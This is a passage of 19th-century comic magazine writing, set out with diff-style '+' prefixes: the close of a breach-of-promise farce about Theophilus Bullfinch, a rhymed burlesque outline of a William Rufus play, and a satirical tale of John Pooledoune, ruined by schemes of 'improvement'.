+his easy-chair, brightening the blaze of warm fire by a fresh "stir,"
+smugly sipping his wine, and in the uprising of his heart wishing
+confusion to all widows, and devoting a full glass to the particular
+condemnation of Mrs. Jennings. Every now and then he cast an eye to the
+patting rain and floating streets, and thanked Heaven which had set the
+fruits of fortune ripened for his plucking, and given him that which
+made life like a full cup, that he could drink from, nor tire of. He sat
+in "contemplation sweet."
+
+"Whence comes that knocking?" he might have said, had not the
+servant-maid saved him the trouble, by saying a young man wanted to see
+him.
+
+"Me!" ejaculated Theophilus.
+
+"Yes, sir," was the reply, and, after much scrubbing on the doormat,
+in a vein endeavour to rub his boots clean, the _young man_ was shown
+up, soaked to the skin, and dripping like a watering-pot. Theophilus
+opened his eyes; the young man took the same liberty with his mouth, and
+inquired if his name was Bullfinch? The answer was in the affirmative.
+A chair was set; the servant left the room, and, looking at the muddy
+footsteps on the stair-carpets, uttered sundry pretty little sayings
+about "dirty feet," "her trouble in the morning;" &c. and retailed her
+complaints to the goddess of the kitchen.
+
+The young man commenced by saying he had brought a little account.
+
+"And a great deal of wet," gently murmured Theophilus. "A little
+account!"
+
+"Yes, sir,--for board and lodging."
+
+Bullfinch opened his eyes still wider, and echoed "Board and lodging!"
+
+"The bill, sir, is four-and-twenty pounds."
+
+Another echo, and still higher uplifting of the eyebrows: "Where do you
+come from?"
+
+"Blackheath, sir."
+
+"Blackheath! What! _through_ the rain?"
+
+The young man ventured a smile as he replied, "No, sir; I wish I had."
+
+"Board and lodging!--you must have made a mistake."
+
+"Oh no, sir," said the young man; "here is the bill,--twenty-four weeks,
+at a pound a-week, as a parlour-boarder, at Mrs. Twig's establishment
+for young ladies."
+
+Theophilus looked suspiciously at his silver spoons, and eyed the
+bell-rope. But a new light seemed to break upon him at the mention of
+the word "establishment," as he replied,
+
+"I am afraid, my good sir, the 'establishment' you come from is in St.
+George's Fields. I a parlour-boarder at a young ladies' school!"
+
+"No, sir; not _you_."
+
+"Who then?" cried Theophilus.
+
+"Mrs. Jennings, sir."
+
+"Mrs. Who!"
+
+"Jennings, sir."
+
+Bullfinch sunk back into his uneasy-chair. "Mrs. Jennings!--Mrs. Devil!"
+and in the bitterness of his spleen he deemed her no less a personage.
+"Mrs. ----" The word, like Macbeth's _amen_, "stuck in his throat."
+
+There was a pause. At length, plucking his courage by the ears, he
+continued; "And do you expect me to pay for this old ----!" We omit the
+word; no lady admires being likened to a dog.
+
+"If you please, sir, I have put 'paid' to the bill."
+
+"That's lucky, for it's the only way you'll ever have the satisfaction
+of seeing it 'paid.' Four-and-twenty pounds!--not so many farthings!"
+but the goodness of his disposition got the better of his anger as he
+added, "unless to buy her a rope."
+
+It is needless to dwell longer upon this occurrence, further than by
+saying, that the "young man," finding the bill not in a way of being
+"settled," or Mrs, Jennings either, took his beaver, or--we like to be
+particular--his four-and-ninepenny, no longer a hat, but a piece of
+ornamented brown paper in a fine state of decomposition, and was in the
+act of leaving the room, when rat! tat! tat! went the door, and another
+young man was announced with a bill for acceptance, drawn by Messrs.
+Lutestring & Co. for silks, flannels &c. supplied to--Mrs. Jennings!
+Monsieur Tonson was nothing to this! Another knock, and a female was
+ushered up with a yard-long bill for millinery, &c. done for--Mrs.
+Jennings! The "Storm" upon the grand piano was a mere puff to that
+raised by Bullfinch. He swore, raved, ordered them from his house, and
+finally, thrusting his head between his hands, groaned a bitter groan,
+and, smiting his brow, cried, "Oh, that d--d poppy!"
+
+The following morning, a suspicious-looking person, of a pick-pockety
+exterior, and belonging to a similar industrious calling--he was a
+lawyer's clerk--knocked at the knocker of Theophilus Bullfinch, and with
+that gentlemanly ease and accomplished manner so peculiar to young men
+in the law, handed to the aforesaid personage a letter, prettily worded,
+and headed "Jennings _versus_ Bullfinch." It was a notice of action for
+"breach."
+
+Tremble, oh, ye bachelors!--and oh, ye spinsters! smirk in the hope
+of one day convincing the world you _ought_ to have been married. Mrs.
+Jennings was of the same opinion, and, in a spirit of justice to her
+sex, put her case into the hands of Messrs. Twist and Strainer, as
+respectable a firm as ever undertook a "breach of promise case." It is
+needless to say they issued their process with becoming expedition; and
+Bullfinch, sorely galled, mastered his antipathy,--we cannot but think
+a very foolish one,--and applied to an attorney!--in the hope--men
+catch at straws--that an attorney _might_ be an honest man! Alas! that
+a person of his years should not have more wisdom!--It is perhaps
+necessary to inform the reader that the damages were laid at five
+thousand pounds.
+
+The day of trial arrived. Theophilus, with a blushing face and tremulous
+heart, squeezed himself into a seat beside his legal adviser; his
+eyes upon the floor, and his hands feelingly placed in his pockets.
+He fancied all eyes bent on his, and smarted under them as they were
+burning-glasses. By degrees his timidity abated, and at the bustle
+occasioned by the judge coming into court had so far summoned courage
+as to raise his eyes. They met, "gently beaming," the eyes of Mrs.
+Jennings, who was seated in the gallery. He would rather have looked on
+a wolf's; but a sort of fascination, as birds feel looking at serpents,
+kept them fixed,--nailed to the eyes of what seemed to him his evil
+genius; whilst she, with the bland look of injured innocence, jerked a
+few tears into her eyes, and, taking out her pocket-handkerchief,--a
+clean one for the occasion,--wept, that is, she appeared to do so; but a
+woman's tears, like her ornaments, are not always real.
+
+She looked, and Bullfinch spell-bound met her gaze; but, as a friend of
+ours once said, "He gave her a look!"
+
+The proceedings commenced. The learned counsel opened the case by
+enlarging upon "the enormity of the defendant's crime, and the
+plaintiff's unprotected state; a crime," the learned counsel went on
+to say, "unparalleled in the annals of the law; a crime, my lord and
+gentlemen, which breaks into the peace of families, and takes from
+the lovely and the virtuous that jewel no wealth can barter,--her
+reputation, gentlemen, her unspotted, her unblushing reputation! Not
+that I would be understood to accuse the defendant of seduction. No,
+gentlemen; the lady whose case I am pleading is too fair a flower to be
+hurt by his calumniating breath!--she is----"
+
+Here Theophilus uttered a word; we are grieved we cannot repeat it;
+but the officer of the court bawled "Silence!" in so loud a tone as
+completely to drown it. The learned counsel continued:
+
+"Yes, my lord and gentlemen, the defendant--I blush, gentlemen, I
+blush," and the learned counsel was evidently overcome with the novelty
+of his situation,--"the defendant is a man," he resumed, "past the
+intoxicating meridian of life, when the feelings of youth flutter like
+bees sipping flowers of the fairest hue. He has proved himself----"
+
+Another ejaculation from Theophilus, and again the officer "Silence'd!"
+
+"He has proved himself a monster of the blackest dye,--a reptile who
+ought to be crushed off the face of the earth! Oh, gentlemen, did you
+but know the lady as I do,--have known the sanctity of her private life,
+and the ethereal nature of her public one; her loveliness, her virgin
+excellence, beloved by relations, idolized by her family!" The lades in
+the gallery were visibly affected, and looked daggers at the brute of a
+defendant. The counsel, after a pause, resumed: "This, gentlemen, is the
+being for whom I am to plead. Englishmen will, I am sure, never desert
+the ladies!"
+
+The jury-box felt the appeal, and looked proudly dignified; and after
+dwelling for two hours and three quarters on "the villain who by his
+insidious wiles"--Theophilus looked patiently unconscious of his Don
+Juan accomplishments--"had wormed himself into the lady's affections,
+and then basely left her, a daisy on the stalk, to pine!" he called
+upon them as husbands,--"Think of your wives," continued the counsel:
+they evidently did, and looked anything but pleased; and urging them as
+fathers and as men to give the plaintiff such damages as the enormity of
+the crime and the wealth of the defendant warranted, the learned counsel
+sat down, evidently to the satisfaction of himself and all who heard him.
+
+It is needless to dwell longer upon this interesting trial, as the
+curiously inclined may read a full account of it in any newspaper of the
+date, and therein they will see it stated in evidence how the "mutual
+friend" bore witness to Mr. Bullfinch picking the poppy and paying
+for the widow at cards. Theophilus had often accused himself of the
+folly, and sundry other little etceteras "too numerous to mention."
+The housekeeper, in being cross-examined, also bore evidence, though
+much against her will, to the intimacy of the parties. The maid--women
+invariably hold by each other--always considered master _'gaged_ to
+Mrs. Jennings. The jury seemed to think so too, and returned a verdict
+of--Theophilus never recovered the shock--five hundred pounds!
+
+Ye elderly bachelors, and ye bachelors of all degrees, hear this and
+pause! There are specks in the sun; can you, in the vanity of your
+hearts, think women more immaculate? Alas, the error! Pause then, and,
+whenever you play at cards with a lady, think of Theophilus Bullfinch,
+and never pay for your partner; and for the rest of your lives, if you
+would escape actions for "breach," never pick poppies, or walk in clover
+with widows!
+
+"After all," said Theophilus, as he wrote a check for the amount of
+damages, and another for the costs, "even this is better than being
+bothered by Mrs. Jennings, especially as she _wanted somebody to care
+for her_."                                                       H. H.
+
+
+
+
+            HINTS FOR AN HISTORICAL PLAY,
+                  TO BE CALLED
+           WILLIAM RUFUS; OR, THE RED ROVER.
+
+
+                    ACT 1.
+
+    Walter Tyrrel, the son of a Norman Papa,
+    Has, somehow or other, a Saxon Mamma:
+    Though humble, yet far above mere vulgar loons,
+    He's a sort of a Sub in the Rufus dragoons;
+    Has travell'd but comes home abruptly, the rather
+    That some unknown rascal has murder'd his father;
+    And scarce has he pick'd out, and stuck in his quiver,
+    The arrow that pierc'd the old gentleman's liver,
+    When he finds, as misfortunes come rarely alone,
+    That his Sweetheart has bolted,--with whom is not known.
+    But, as murder will out, he at last finds the lady
+    At court, with her character grown rather shady;
+    This gives him the "Blues," and impairs the delight
+    He'd have otherwise felt when they dub him a Knight
+    For giving a runaway stallion a check,
+    And preventing his breaking King Rufus's neck.
+
+
+                    ACT 2.
+
+    Sir Walter has dress'd himself up like a Ghost,
+    And frightens a soldier away from his post;
+    Then, discarding his helmet, he pulls his cloak higher,
+    Draws it over his ears, and pretends he's a Friar.
+    This gains him access to his Sweetheart, Miss Faucit;
+    But, the King coming in, he hides up in her closet,
+    Where, oddly enough, among some of her things
+    He discovers some arrows he's sure are the King's,
+    Of the very same pattern with that which he found
+    Sticking into his father when dead on the ground!
+    Forgetting his funk, he bursts open the door,
+    Bounces into the Drawing-room, stamps on the floor,
+    With an oath on his tongue, and revenge in his eye,
+    And blows up King William the Second sky-high,
+    Swears, storms, shakes his fist, and exhibits such airs,
+    That his Majesty bids his men kick him down stairs.
+
+
+                    ACT 3.
+
+    King RUFUS is cross when he comes to reflect
+    That as King he's been treated with gross disrespect;
+    So he pens a short note to a holy physician,
+    And gives him a rather unholy commission,
+    Viz. to mix up some arsenic and ale in a cup,
+    Which the chances are Tyrrel may find and drink up.
+    Sure enough, on the very next morning, Sir Walter
+    Perceives in his walks this same cup on the altar.
+    As he feels rather thirsty, he's just about drinking,
+    When Miss Faucit, in tears, comes in running like winking;
+    He pauses of course, and, as she's thirsty too,
+    Says, very politely, "Miss F., after you!"
+    The young Lady curtsies, and, being so dry,
+    Raises somehow her fair little-finger so high,
+    That there's not a drop left him to "wet t'other eye:"
+    While, the dose is so strong, to his grief and surprise,
+    She merely says, "Thankee, Sir Walter!" and dies.
+    At that moment the King, who is riding to cover,
+    Pops in _en passant_ on the desperate lover,
+    Who has vow'd, not five minutes before, to transfix him;
+    --So he does,--he just pulls out his arrow and sticks him.
+    From the strength of his arm, and the force of his blows,
+    The Red-bearded Rover falls flat on his nose;
+    And Sir Walter, thus having concluded his quarrel,
+    Walks down to the foot-lights, and draws this fine moral.
+
+      "Ladies and Gentlemen,
+                          Lead sober lives;--
+    Don't meddle with other folks' Sweethearts or Wives!--
+    When you go out a sporting, take care of your Gun,
+    And--Never shoot elderly people for fun!"
+
+
+
+
+                 JOHN POOLEDOUNE,
+           THE VICTIM OF IMPROVEMENTS!
+
+It was on a fine warm day in June, several years before Beulah Spa
+was invented, that, eviting leafy Hampstead, and airy Highgate, and
+woody Hornsey, John Pooledoune, with a party of companions, sought
+the delights of a rural ramble and pic-nic, amid the sylvan scenery
+of Norwood. Of the journey thither, the sporting there, the banquet
+on the grass, the hilarious after-dinner bumpers, the casting away of
+bottles, and the wide-spread waste of orts, there is no occasion to
+speak; suffice it to state, that the frolic and profusion attracted a
+visit from a couple of dark-haired and bright-glancing Gipsies, whose
+sojourn was thereabouts, and who, though reckless of the present, were,
+or pretended to be, deeply read in the future. Their appearance added
+to the merriment of the occasion; and, with that natural curiosity
+which belongs to human nature, our revellers agreed to have a peep into
+futurity palmed upon them, at the small cost of a few silver coins.
+One after another were their lines submitted to Sibyllic inspection;
+and loud were their laughs as the pretty "brows of Egypt" bent over
+their destinies, and told of coming estates, and wives, and children,
+and, sooth to add, little amours and indiscretions which nevertheless
+promised pleasures hardly less acceptable to the expectant listeners. At
+length it fell to the turn of Jack Pooledoune, who was indeed so well
+off in the world, that he had little either to hope or to fear from the
+fickle goddess; when, all at once, a sudden chill crept over the group,
+"a change came o'er the spirit of their dream," and the hitherto gay and
+giggling priestesses of mystery assumed aspects of horror and dismay.
+What before was curiosity was now intense interest. Whence the cause of
+this awful alteration?--why had mirth in a moment given place to these
+boding looks and signs of terror? Time and our tale will show; and we
+have only here to record the prediction reluctantly wrung from one of
+the distraught and shuddering Gipsies.
+
+"Oh! strange unfortunate Fortunate!" she exclaimed as she conned John
+Pooledoune's hand,
+
+    "By making rich, made poor;
+    By making happy, miserable;
+    By amending, hurt; by curing, slain;
+
+never Lost on earth, alive or dead, yet Found by numbers; bodiless
+corpse; _The Victim of Improvement_, for ever to improve;--
+
+    "No hand to close thy eyes,
+    No eye to see thy grave,
+    No grave to give thee rest,--
+        STRANGE BEING!
+
+Dead; resembling Death, yet keeping thy place among the dead and the
+living; thy end shall not be an ending, and every one shall know that
+thou art and art not!"
+
+With this fearful prophecy the Gipsies took to their heels; and Jack,
+with an oath at their impudent mummery, shied half a half-quartern loaf
+at their retreating heads. The iced punch was speedily resumed; but, so
+strong is the hold of superstition upon us, even when wine and punch
+have infused a factitious courage, it was found impossible to re-animate
+the convivial festival, and the party returned to town, either in silent
+abstraction, or reverting to and commenting on the oddness of the Gipsy
+foolery!
+
+Old Roger Pooledoune was one of the busiest and most substantial of
+hosiers in the ward of Cheap; a respectable citizen, whose heart and
+soul were in his business, to which he attended from morning to night
+as if, instead of toil, it were pleasure; and indeed it did comprehend
+the mighty pleasure of profit, the be-all and the end-all of many a
+cit. Stockings, stocks, and socks, braces, collars, gloves, nightcaps,
+and garters, were all the same to honest Roger; and he would serve his
+customers with equal cordiality with every one of these articles, from
+the price of a grey groat to the cost of sterling gold. Thus he dealt
+and throve. His shop was never empty, for his commodities were reputed
+to be of good quality; and, in process of years, his industry was
+rewarded with such increase, that his neighbours declared him to be a
+warm man, and guessed his worth at no less than thirty thousand pounds.
+Nor were they far wrong.
+
+Roger, like a man ignorant of Malthus, had in the midst of all his
+occupations found leisure to court and win a wife; and, in due process,
+a certain portion of the stock in the warehouse, namely, some very small
+socks, gaiters, &c. had to be transferred _gratis_ to the nursery,
+where Isabella, Matilda, and Margaret, and last, John Pooledoune, the
+only son, the fruits of his marriage-bed, required such equipments from
+their fond father,--the fonder in consequence of the last family event
+having made him a widower. Twenty years had elapsed since that period
+of mingled joy and woe, of birth and death,--the conjunction of the two
+extremes of human life,--when it occurred to the corporation of the
+city of London that it would be a vast improvement in the approaches
+thereto, and accommodation to the traffic thereof, to have a new bridge
+thrown across the bosom of old Father Thames, just where it suited a
+company of keen-sighted, speculative, and money-making gentry to have
+that operation performed for the public and their own benefit. It so
+happened that the site so agreeable to them was exceedingly disagreeable
+to Roger Pooledoune, inasmuch as it created a necessity for carrying a
+street, as it were the string of a bow, direct to the bridge, not only
+leaving his shop at the farthest bend of the said bow, but plunging it
+into an unfrequented valley, or _cul de sac_, at which it was irksome
+to look from the popular balustrades of the recent direct and splendid
+erections. Old Roger, it is true, claimed and received a handsome,--a
+very handsome, and neighbourly, and citizen-like compensation: for
+his loss in the daily sale of nightcaps and garters was estimated at
+the sum of fourteen thousand eight hundred and seventy-seven pounds
+sixteen shillings and fivepence three farthings: but, like Othello, his
+occupation was gone. The money obtained in a lump was not like the money
+gained by slow and minute degrees. He became uncomfortable, uneasy,
+irritable; he would gaze up towards the new street to the new bridge,
+and, counting the passing crowds, would calculate on the proportional
+passing demand for ready-made hosiery of every description. The whole
+was diverted into another channel: he could not bear the sight, he could
+not endure the idea; and so he pined, and he sickened, and he died, for
+want of a brisk retail.
+
+The disposition of the defunct hosier's property was such as might be
+expected from a wealthy and prudent tradesman. He had sunk the fourteen
+thousand and odd pounds in annuities on his three daughters, and so tied
+them up, that none but themselves--nor brother, nor friend, nor husband,
+nor lover--could receive the half-yearly dividends; and, if loan or
+mortgage were attempted upon them, they were forfeited for ever. Thus
+were they provided with inalienable competencies for the terms of their
+natural lives. To John was left the residue, which, when the good will
+of the shop was with good will disposed of for nothing, everything else
+settled, and affairs wound up, was ascertained to amount to the neat
+round sum of two-and-thirty thousand pounds; and thus warmly provided,
+the gipsy foredoomed Victim of Improvements began the world, his own
+master, and for himself alone.
+
+John Pooledoune had received what is called a first-rate "commercial
+and classical education," at a boarding-school near Deptford, where
+these identical words were painted in capital letters on a board which
+ran along the entire façade of the building. He had thus been prepared
+for more general and severer pursuits; and accordingly, about that era
+when the first drum was beat for the March of Intellect, he enrolled
+himself in the ranks for the diffusion of knowledge, and, to speak
+comparatively, soon reached the distinction of a halbert in the cause.
+He became a leading man in the Mechanics' Institutes, attended lectures
+on every possible subject at least five evenings in every week, was
+elected a member of the Society of Arts and of the Statistical Society,
+joined the British Association at Bristol,[104] and, in fine, adopted
+the most admired course to become a utilitarian of the first water. He
+was acknowledged to be an independent, and sensible, and well-informed
+individual; he needed neither favour nor assistance, had plenty of ready
+money in the funds, and was courted and caressed accordingly. He was, in
+short, a faultless monster.
+
+But not only had Fortune been kind to him; Nature was equally liberal:
+he was well-proportioned in lith and limb; stout, healthy, and
+well-looking. If not a perfect, but, rather, as George the Fourth would
+say, an ungentlemanly gentleman, he was not a vulgar plebeian; and,
+altogether, hardly ever did a man start in the middle walks of life with
+so fair a promise of prosperity and happiness. John Pooledoune had the
+silver spoon to his mouth,--the salt of the earth to his portion.
+
+With such qualities, and to such a character, inactivity was impossible.
+Inclination and means led to projects of utility, and John was
+determined to benefit mankind by his efforts in promoting the ingenious
+conceptions of the clever and the "talented." His apartments were
+encumbered with models, his chairs and his tables laden with plans; nay,
+he even fancied at times that he was himself an inventor. It was, to be
+sure, only in a small way, but it kept the ruling passion in a blaze;
+and when he took out his first patent for a broom to eat its own dust,
+his ecstasies had nearly laid him with the dust, to which he was thus
+made doubly akin.
+
+It is wonderful to behold how many of our species, full of the most
+extraordinary and indubitable inventions, from which indescribable
+riches must accrue, languish in abject poverty: to such, a John
+Pooledoune is a god-send, even though it may be that in the issue he
+is reduced to fraternization. He was the friend of projectors, the
+believer in perfectibility, but singularly unlucky in nearly all his
+undertakings. Of these we must mention a few, the leading incidents of a
+brief career.
+
+We have alluded to the patent for a dust-consuming broom, with which
+John was so marvellously elated. The worst of it was, that it involved
+him in a law-suit with Mr. Pratt, who clearly proved to the judge and
+jury that he had perfected a similar besom five years before. It was
+in vain that John's counsel argued that his broom acted transversely,
+not horizontally; and possessed a vertical, not a rotary action; in
+vain he asserted that new brooms swept cleanest: the verdict was for
+the plaintiff; and the infringement of the right to use a useless brush
+cost Mr. Pooledoune within a trifle of a thousand pounds. The lawyers
+and attorneys declared that it was a shameful verdict, and advised
+Mr. Pooledoune to move for a new trial; but he had sense enough to be
+satisfied with one.
+
+Misfortunes, we are told, never come single. Like crows, if you see one
+alight on a field, you may be pretty sure there will soon be a few more,
+and probably a flock; and so it fell out with our hero's mischances.
+
+A company was formed upon the most admirable principles to supply the
+metropolis with pure water instead of the abomination hitherto imbibed
+from the polluted river, the grand recipient of the filth of a million
+and a half of nasty people. It was to be brought from Tonbridge Wells,
+laid on in crystal pipes, and supplied with a bounty that defied
+competition. John Pooledoune became a large shareholder and a director;
+but somehow or other the stream did not run smooth, the crystal pipes
+broke, and so did the company; and John, being a responsible person,
+got out with the largest share--of the loss. He next embarked in gas
+works, the most prosperous that ever were demonstrated by calculations
+and estimates on the tables printed by the projectors. But this design,
+alas! also failed: the gas dissolved into thin air; and another
+troublesome and expensive law-suit proved that the thousands of tons of
+coke which had been consumed were utterly wasted, as their use in that
+particular way, custom, and manner, was not sanctioned by Coke upon
+Lyttleton.--See _Vesey's Reports_, div. 4, cap. 3, lib. 2, page 1.
+
+This was another rather severe blow upon Mr. Pooledoune, who began to
+reflect on the uncertainty of all pursuits of the kind. "I will not,"
+said he to himself, "risk any more considerable sums in such plans.
+Houses and lands," said he, "are certain, real, visible, tangible
+property: I will buy an estate and build a house upon it." Accordingly,
+day after day did he examine those oracles of truth, the morning
+newspapers; and particularly that portion of them which is the truest
+of the true, the advertisements of the auctioneers. Long did he ponder
+over the most desirable of investments, the most eligible of sites, the
+paradises of nature, the soils which scantily concealed inexhaustible
+mines, the views of hanging woods whose trees never changed their
+fruits: long did he balance which it were best to possess; and at last
+he was fortunate enough to be allowed to purchase one of George Robins'
+most extraordinary bargains, an estate which was positively "given
+away". It was nevertheless dear enough to the buyer; and the seller
+had not so much reason as might be imagined to be dissatisfied with the
+prodigal liberality of his agent on the occasion. The land was found
+to be susceptible of no inconsiderable improvement; and the charming,
+picturesque, indescribably interesting, and gothically elegant, fine,
+ancient mansion, was in truth little better than an inconvenient and
+incongruous pile of ruins. But as Mr. Pooledoune had, from the first,
+intended to cultivate the earth in his own way, and to erect a mansion
+upon his own design, these slight discrepancies did not so much signify.
+The titles were actually good, and old Hurlépoer Hall was regularly
+transferred, made over, granted, and assigned to its new proprietor,
+John Pooledoune, esquire. It is a proud thing to be an esquire, the
+owner of broad acres, to walk over fields you can call your own, to
+speak of your domain and your country house, of your Hurlépoer Hall,
+and the parts and appurtenances thereunto pertaining. Never did John
+Pooledoune feel so elevated as when he arrived in a post-chaise to take
+possession of his beautiful estate. It was only an amusing drawback,
+which served to occupy his time, that he had to pull down the old hall
+and re-edify it in a modern style. There was ready money, and the work
+went briskly on, till at last a handsome villa stood where Hurlépoer,
+or at least some of its walls, had outbraved the winds and rains two
+hundred winters. It was christened Hosiery Hall by some of the poor and
+envious landlords round about; but it was nevertheless a very pretty
+place, and constructed on the most novel and approved principles of
+architecture. The foundations were laid in Roman cement, the timbers
+were steeped to saturation in Kyan's anti-dry-rot composition, and
+the roof was of patent cast-iron. Nor had Mr. P. during the season
+been inattentive to the cultivation of his ground. The steward, a
+positive, ignorant, and impracticable ass, was dismissed the service,
+for insisting upon sowing wheat, and barley, and oats; laying certain
+portions fallow, and turnip-cropping other parts. The squire taking
+affairs into his own hands, the farm-horses were sold, and a wonderfully
+perfect steam-plough put into operation. Instead of turnips, the
+cow-cabbage was introduced, and room left about every plant to allow it
+to extend to its full dimensions of from eighteen to twenty-two feet in
+diameter. The corn-arable was converted into plantations of beetroot for
+the manufacture of sugar, and a thousand hogsheads for its reception
+were ordered of the coopers. Everything went on tolerably well for a
+while, except the plough, which always refused to move up hill or to go
+straight on the level, and very soon denied motion in any manner, or
+in any direction. Mr. Pooledoune, incensed at this misconduct, which
+he attributed to the stupidity of the ploughman and the malice of the
+quondam driver, who had no longer any horses to drive, and consequently
+went whistling alongside, occasionally eyeing his useless whip, as if
+he would gladly apply it to his master's back, in a moment of anger
+took the stilts himself, to show the boors how it ought to be done.
+He poked the fire and filled the kettle, and off set the machine with
+a run. Unluckily there was a great stone in the line of the furrow,
+against which the plough was dashed with so much force that it tilted
+up, and, throwing down its unfortunate holder, dashed the burning coals
+and boiling steam all over his body. Dreadfully scalded, it was many
+weeks before the squire was sufficiently convalescent to leave his
+room; and when he did once again visit his _ci-devant_ green fields, it
+was as a cripple from the severe accident. The melancholy of autumn,
+too, was upon the scene,--a melancholy untempered to him by the sight of
+sweeps of ripened grain, (the yellow gold of nature,) and the busy hum
+of harvest. The season had been unusually dry, and the soil was chalky.
+Owing to this the cow-cabbages had not flourished, and only one here and
+there was visible, and about the ordinary size of a tailor's dinner,
+though with plenty of room to grow larger if it liked. The cultivation
+of the beetroot was hardly more successful; still there was wherewithal
+to try the experiment of sugar-making, and to this our sanguine hero
+turned with his indomitable spirit. The process went on, and the roots
+were crushed;--so, speedily, were his hopes. Twenty-seven barrels of
+bad molasses was the produce of above eight hundred acres of the best
+land belonging to Hurlépoer Hall. It was a year of dead loss, and there
+was nothing left for it but to get through the winter as comfortably as
+possible, and prepare for taking the field in the spring with greater
+experience, and a more _improved_ system throughout.
+
+It is a well-known fact with regard to the weather in England, that if
+there be a balance of good and bad, the latter never fails to occupy
+its fair proportion of foulness. As the summer had been unusually warm
+and dry, the winter turned out unusually cold and wet. The rain hardly
+ceased during four months, the country was a swamp, and there was not
+even enough for a dry joke in the parish. One night the storm descended,
+hail was shaken and lightning glanced from the wings of the mighty
+tempest: it was a _perfect_ hurricane, (for hurricanes are so called
+when they are most fearfully outrageous,) and blew great guns. In the
+midst of the rattling, and spouting, and howling, a dreadful crash was
+heard by the inhabitants of Hurlépoer villa; the walls tottered, and
+they rushed forth in nakedness and desperation. Nor had they a moment
+to spare; for the Roman-cement foundations gave way, the anti-dry-rot
+timbers split into a thousand splinters, and the ponderous patent
+iron roof descended with one awful and crushing demolition upon the
+wrecks below. Poor Pooledoune was again unfortunate. Having delayed a
+minute to save an electrical apparatus for making diamonds of flints
+and asparagus, in which he had all but succeeded, he was struck by a
+projected mass of the broken wood, and had his right arm very badly
+fractured.
+
+With these calamities terminated John Pooledoune's rural experiments.
+Hurlépoer was soon again in the market, but the value of land had fallen
+tremendously within the last eighteen months; and, though the auctioneer
+did his utmost, that which had cost twenty thousand pounds so short a
+while ago was sold for eight thousand pounds, and John's whole fortune
+reduced to little more than ten. Still there was a competency; and with
+the mind of a projector there is always contentment. John bought a small
+ready-furnished house, about two miles out of London, and sat down under
+its lowly slate roof, and all his troubles, with most philosophic apathy.
+
+He engaged in lesser speculations with the same ardour with which he
+had embarked in extensive undertakings; but the doom of the Gipsies of
+Norwood was still upon him, and
+
+    "By making rich, made poor;
+    By making happy, miserable;
+    By amending, hurt;" ***
+
+continued to mark his progress--his progress!--his retrograde progress
+in life.
+
+He had not been settled in his humble abode beyond the first quarter,
+making discoveries in science of the most astonishing description, when
+a railroad between Billingsgate and Blackwell drove him from his home.
+Private interests must always yield to public advantages. The road
+went right through Mr. Pooledoune's parlour; but then, when completed,
+how easy it would be to bring, by its ready means, white-bait from the
+water-side to the city; and how much toil and expense would be saved
+to the citizens in having their feed without the trouble of journeying
+so far for it in the heat of sultry summer. The greatest affliction
+to the individual was not the deterioration which his fortune again
+experienced in removing, but a calamity which had almost overwhelmed
+even his steadfast soul. We have said he was on the point of realising
+the most amazing discoveries in natural science. By a battery of
+unlimited galvanic power, continually directed to stones abstracted
+from St. Paul's Cathedral, Waterloo-bridge, and the Monument, he had
+ascertained that the church was built of the fur of the _pulex_, the
+bridge of butterflies' facets, and the Monument of midges' wings.
+Indeed he had obtained all these creatures entire and lively, in the
+course of his experiments upon decomposing the St. Paul pebbles, the
+Waterloo-bridge granite, and the Monumental free-stone; and the only
+difficulty which remained for solution was, that above a hundred other
+unknown and undescribed insects, probably of the antediluvian world, had
+been produced at the same time, and by the same means. It was hard, but
+the railroad caused the destruction of this theory; and several of the
+retorts being broken, the revivification interrupted, the reanimated
+killed, and the whole process served out, Mr. Pooledoune never enjoyed
+another opportunity for demonstrating these incomparable results.
+Thousands of years may elapse before any other experimentalist succeed
+to such an extent; and millions of men and philosophers of intermediate
+generations will die meanwhile, ignorant of the prodigious injury done
+to science and to John Pooledoune by the railroad between Billingsgate
+and Blackwell.
+
+As we descend, we diminish in the eyes of those to whom we were
+distinguished objects whilst dwelling on the same or a higher
+elevation:--do we not really become less and less? Pooledoune's pursuits
+continued to be similar in character, in opinions, in expectations; but,
+ah! how different in worldly esteem! At the Mechanics' Institutes he
+was no longer promoted to the front-seats,--at the Society of Arts he
+was no more invited to deliver his sentiments,--his little contribution
+of insulated facts was unsought by the Statisticals,--and the British
+Association was too far off, with its Edinburgh and Dublin festivities,
+to meet his conveniency. Yet he devoted himself to the confusion of
+knowledge; and, in order to obtain larger interest on his fading
+capital, he dabbled in Mexican and Payous, and Greek loans.
+
+Perfecting a fulminating powder to supersede the use of gunpowder, which
+could not explode except by the touch of a particular preparation, an
+ounce of it accidentally ignited one day, and blew out his right eye.
+
+John's hair grew prematurely grey with such crosses, and he invented a
+dye to render it beautifully black. Most of those whom he persuaded
+to give it a trial were turned most curiously grizzle, green, or
+yellow;[105] but, perhaps from using an inordinate quantity, his own
+scalp was utterly removed, and his scull rendered as bald and shining as
+a polished pewter plate, whence the meat had been removed, but not the
+gravy.
+
+He patronised Mechi's razor-strops and Hubert's roseate powder, in
+consequence of which all the lower features of his face became a mass of
+purulent offence.
+
+He took to an infallible dentifrice, which preserved the enamel, and
+whitened without injuring the teeth. It was a noble specific, and did
+not contradict its advertisement: but all John's teeth fell out; and
+though the enamel was preserved, and they were white, his gums were
+exposed, empty, and red. He supplied his loss with a set of china
+ornaments, which made him grin and nod like a Mandarin, but with which
+he could not eat like a Christian, nor sleep like a savage.
+
+John got poorer and poorer, shabbier and shabbier, sicklier and
+sicklier. He had been blown up by gas, burnt down by steam, ruined by
+railroads, cursed by every improvement on the whole pack of cards. He
+was crippled in his limbs, deficient of an eye, disfigured in face and
+person, and, worse than worst of all, his friends knew that he had
+but little left, and less to hope for. It was not four years since
+John Pooledoune had begun his career with a sound constitution, and
+two-and-thirty thousand pounds of ready money,--worth sixty thousand in
+any other way! Surely he was the "_Victim of Improvement_."
+
+Nearly at last, when seen in the streets, John would point to his
+waterproof shoes, and hat the better for being soaked twenty-four hours
+in a washing-tub; and one noticed that his ugly-looking outer garment
+was a proof Macintosh, and his patent spectacles set in cases of
+india-rubber. And even his sorry truckle-bed, to which the late squire
+of Hurlépoer Hall now nightly sought his obscure and darkling way, was
+surmounted by a patent tick (it was double tick, for he had it on credit
+from an old philosophical crony,) filled with hot water,--as had been
+the brief course of the unfortunate to whom it could afford no rest.
+
+Whether from the Macintosh preservative cloak, the waterproof shoes,
+the water-filled bed, the india-rubber, or the rubs of the weather, we
+have not ascertained; but poor John caught a horrid cold, and his cough
+was sadly aggravated by a contrivance in his chimney for consuming its
+own smoke. This the chimney resolutely refused; and, like all other
+quarrels, got so incensed that it would not even carry the smoke up.
